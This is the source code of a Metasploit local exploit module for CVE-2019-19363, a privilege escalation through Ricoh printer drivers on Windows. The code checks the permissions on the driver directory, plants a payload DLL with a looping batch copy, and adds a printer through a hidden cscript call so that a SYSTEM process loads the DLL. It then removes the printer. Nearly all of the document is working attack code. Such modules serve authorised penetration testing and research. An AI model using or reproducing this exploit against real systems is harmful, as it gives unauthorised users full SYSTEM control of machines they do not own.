Share
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core/exploit/exe'  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = NormalRanking  
  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Post::Windows::Priv  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Ricoh Driver Privilege Escalation',  
'Description' => %q(  
Various Ricoh printer drivers allow escalation of  
privileges on Windows systems.  
  
For vulnerable drivers, a low-privileged user can  
read/write files within the `RICOH_DRV` directory  
and its subdirectories.  
  
`PrintIsolationHost.exe`, a Windows process running  
as NT AUTHORITY\SYSTEM, loads driver-specific DLLs  
during the installation of a printer. A user can  
elevate to SYSTEM by writing a malicious DLL to  
the vulnerable driver directory and adding a new  
printer with a vulnerable driver.  
  
This module leverages the `prnmngr.vbs` script  
to add and delete printers. Multiple runs of this  
module may be required given successful exploitation  
is time-sensitive.  
),  
'License' => MSF_LICENSE,  
'Author' => [  
'Alexander Pudwill', # discovery & PoC  
'Pentagrid AG', # PoC  
'Shelby Pace' # msf module  
],  
'References' =>  
[  
[ 'CVE', '2019-19363'],  
[ 'URL', 'https://www.pentagrid.ch/en/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/']  
],  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'Platform' => 'win',  
'Payload' =>  
{  
},  
'SessionTypes' => [ 'meterpreter' ],  
'Targets' =>  
[[  
'Windows', { 'Arch' => [ ARCH_X86, ARCH_X64 ] }  
]],  
'Notes' =>  
{  
'SideEffects' => [ ARTIFACTS_ON_DISK ],  
'Reliability' => [ UNRELIABLE_SESSION ],  
'Stability' => [ SERVICE_RESOURCE_LOSS ]  
},  
'DisclosureDate' => "Jan 22 2020",  
'DefaultTarget' => 0  
))  
  
self.needs_cleanup = true  
  
register_advanced_options([  
OptBool.new('ForceExploit', [ false, 'Override check result', false ])  
])  
end  
  
def check  
dir_name = "C:\\ProgramData\\RICOH_DRV"  
  
return CheckCode::Safe('No Ricoh driver directory found') unless directory?(dir_name)  
driver_names = dir(dir_name)  
  
return CheckCode::Detected("Detected Ricoh driver directory, but no installed drivers") unless driver_names.length  
  
vulnerable = false  
driver_names.each do |driver_name|  
full_path = "#{dir_name}\\#{driver_name}\\_common\\dlz"  
next unless directory?(full_path)  
@driver_path = full_path  
  
res = cmd_exec("icacls \"#{@driver_path}\"")  
next unless res.include?('Everyone:')  
next unless res.match(/\(F\)/)  
  
vulnerable = true  
break  
end  
  
return CheckCode::Detected('Ricoh driver directory does not have full permissions') unless vulnerable  
  
vprint_status("Vulnerable driver directory: #{@driver_path}")  
CheckCode::Appears('Ricoh driver directory has full permissions')  
end  
  
def add_printer(driver_name)  
fail_with(Failure::NotFound, 'Printer driver script not found') unless file?(@script_path)  
  
dll_data = generate_payload_dll  
dll_path = "#{@driver_path}\\headerfooter.dll"  
  
temp_path = expand_path('%TEMP%\\headerfooter.dll')  
vprint_status("Writing dll to #{temp_path}")  
  
bat_file_path = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(5..9)}.bat")  
cp_cmd = "copy /y \"#{temp_path}\" \"#{dll_path}\""  
bat_file = <<~HEREDOC  
:repeat  
#{cp_cmd} && goto :repeat  
HEREDOC  
  
write_file(bat_file_path, bat_file)  
write_file(temp_path, dll_data)  
register_files_for_cleanup(bat_file_path, temp_path)  
  
script_cmd = "cscript \"#{@script_path}\" -a -p \"#{@printer_name}\" -m \"#{driver_name}\" -r \"lpt1:\""  
bat_cmd = "cmd.exe /c \"#{bat_file_path}\""  
print_status("Adding printer #{@printer_name}...")  
client.sys.process.execute(script_cmd, nil, { 'Hidden' => true })  
vprint_status("Executing script...")  
cmd_exec(bat_cmd)  
rescue Rex::Post::Meterpreter::RequestError => e  
e_log("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")  
end  
  
def exploit  
fail_with(Failure::None, 'Already running as SYSTEM') if is_system?  
  
fail_with(Failure::None, 'Must have a Meterpreter session to run this module') unless session.type == 'meterpreter'  
  
if sysinfo['Architecture'] != payload.arch.first  
fail_with(Failure::BadConfig, 'The payload should use the same architecture as the target driver')  
end  
  
@driver_path = ''  
unless check == CheckCode::Appears || datastore['ForceExploit']  
fail_with(Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override')  
end  
  
@printer_name = Rex::Text.rand_text_alpha(5..9)  
@script_path = "C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\prnmngr.vbs"  
drvr_name = @driver_path.split('\\')  
drvr_name_idx = drvr_name.index('RICOH_DRV') + 1  
drvr_name = drvr_name[drvr_name_idx]  
  
add_printer(drvr_name)  
end  
  
def cleanup  
print_status("Deleting printer #{@printer_name}")  
Rex.sleep(3)  
delete_cmd = "cscript \"#{@script_path}\" -d -p \"#{@printer_name}\""  
client.sys.process.execute(delete_cmd, nil, { 'Hidden' => true })  
end  
end